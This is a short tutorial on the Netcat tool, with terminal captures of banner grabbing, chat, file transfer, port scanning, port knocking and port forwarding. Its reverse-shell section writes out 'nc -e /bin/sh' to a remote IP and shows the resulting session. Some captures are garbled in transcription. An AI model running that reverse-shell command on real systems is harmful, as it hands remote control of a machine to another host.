

Netcat

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About Netcat

 "Netcat" is a computer networking function for analyzing from and writing to network connections using TCP or UDP

```
NAME

nc - TCP/IP swiss army knife

SYNOPSIS

nc [-options] hostname port[s] [ports] ...

nc -1 -p port [-options] [hostname] [port]
```



Netcat features

- Banner grabbing
- Reverse shell
- Chatting
- Data Transfer
- Port scanning
- Port knocking
- Port forwarding



Syntax and Usage

- Client/Server Model
- Netcat client
- # nc IP Port
- Netcat listener
- # nc -vlp Port

```
root@LUCKY64: # nc -vlp 88
listening on [any] 88 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 54212
Hello
Hello
Toot@LUCKY64: #
root@LUCKY64: #
root@LUCKY64: #
root@LUCKY64: #
hello
```



Banner grabbing

```
root@LUCKY64: # nc 127.0.0.1 80

GET / HTTP/1.0

127.0.0.1 - - [03/Aug/2017 00:03:40] "GET / HTTP/1.0" 200 - HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.13

Date: Thu, 03 Aug 2017 04:03:40 GMT
Content-type: text/html; charset=UTF-8
Content-Length: 5194

root@LUCKY64: # nc 192.168.10.12 25

220 LUCKY64.rtma.tk Python SMTP proxy version 0.2
```



Reverse shell

```
connect to [192.168.10.12] from LUCKY64.rtma.tk [192.168.10.12] 50692
                                                                                              nc -e /bin/sh 192.168.10.12 8588
       inet 172.17.0.1 netmask 255.255.0.0 broadcast 0.0.0.0
       ether 02:42:34:87:36:ef txqueuelen 0 (Ethernet)
       RX packets 0 bytes 0 (0.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 0 bytes 0 (0.0 B)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
       inet6 fe80::20c:29ff:fe69:6fc6 prefixlen 64 scopeid 0x20<link>
       RX packets 348671 bytes 96798438 (92.3 MiB)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 308661 bytes 39335205 (37.5 MiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
       inet 127.0.0.1 netmask 255.0.0.0
       inet6 :: 1 prefixlen 128 scopeid 0x10<host>
       RX packets 791 bytes 101633 (99.2 KiB)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 791 bytes 101633 (99.2 KiB)
```



Chatting

```
      root@LUCKY64: # awk -W interactive '$0="Tsubasa: "$0' | nc -vlp 8885

      listening on [any] 8885 ...
      root@LUCKY64: # awk -W interactive '$0="Misaki: "$0' | nc 127.0.0.1 8885

      connect to [127.0.0.1] from localhost [127.0.0.1] 52244
      hey

      Misaki: hey
      Tsubasa: Whats up Misaki

      Misaki: Im fine
      Im fine
```



Data Transfer

```
xr-xr-x 3 root root 4096 Aug 3 00:58
vxr-xr-x 60 root root 4096 Aug 3 00:42
-r--r-- 1 root root 845 Jul 26 04:46 API example.pv
     -x 8 root root 4096 Jul 26 04:46
         1 root root 12 Jul 26 04:46 .gitignore
       1 root root 9160 Jul 26 04:46 MalwrAPI.py
        1 root root 8297 Jul 26 04:56 MalwrAPI.pyc
xr-xr-x 1 root root 3512 Jul 26 04:46 malwr-cli.py
        1 root root 1838 Jul 26 04:46 README.md
                     24 Jul 26 04:46 requirements.txt
                                                          root@LUCKY64: ~
xrwxrwx 1 root root 188 Jul 26 05:10 SEARCH.pv
                          nc -1p 8858 > Scan.pv
                                                          oot@LUCKY64: # nc 127.0.0.1 8858 < Scan.py
     KY64: -/API-malwr com# less Scan.py
                        # ls -la
xr-xr-x 3 root root 4096 Aug 3 01:00
xr-xr-x 60 root root 4096 Aug 3 00:42
xr-xr-x 8 root root 4096 Jul 26 04:46
                     12 Jul 26 04:46 .gitignore
-r--r-- 1 root root 9160 Jul 26 04:46 MalwrAPI.py
-r--r-- 1 root root 8297 Jul 26 04:56 MalwrAPI.pyc
xr-xr-x 1 root root 3512 Jul 26 04:46 malwr-cli.py
-r--r-- 1 root root 1838 Jul 26 04:46 README.md
-r--r-- 1 root root
                     24 Jul 26 04:46 requirements.txt
-r--r-- 1 root root
                    581 Aug 3 01:00 Scan.py
xrwxrwx 1 root root
```



Port scanning

```
root@LUCKY64:-/API-malwr.com# nc -vnz -w 1 127.0.0.1 1-65535

(UNKNOWN) [127.0.0.1] 8834 (?) open
(UNKNOWN) [127.0.0.1] 22 (ssh) open
```

Port knocking (find out hidden services)

```
root@LUCKY64: # nc 127.0.0.1 10025
220 LUCKY64.rtma.tk Python SMTP proxy version 0.2

root@LUCKY64: # nc 127.0.0.1 11808

HEAD / HTTP/1.0

127.0.0.1 - - [03/Aug/2017 01:28:31] "HEAD / HTTP/1.0" 200 - HTTP/1.0 200 OK
```



Port forwarding

▲ Topology

Sending_Host >>> Forwarder_Host >>> Receiving_Host

forward port 8000 to remote-host:80





Conclusion

- There are many other sophisticated tools for every feature provided by Netcat, yet no other tool is powerful enough to provide so many functionalities in a single package
- Netcat is not only useful for a pentester but it can also be utilized by system administrators for their daily activities



References

- Wikipedia https://en.wikipedia.org/wiki/Netcat
- SecTools
 http://sectools.org/tool/netcat/

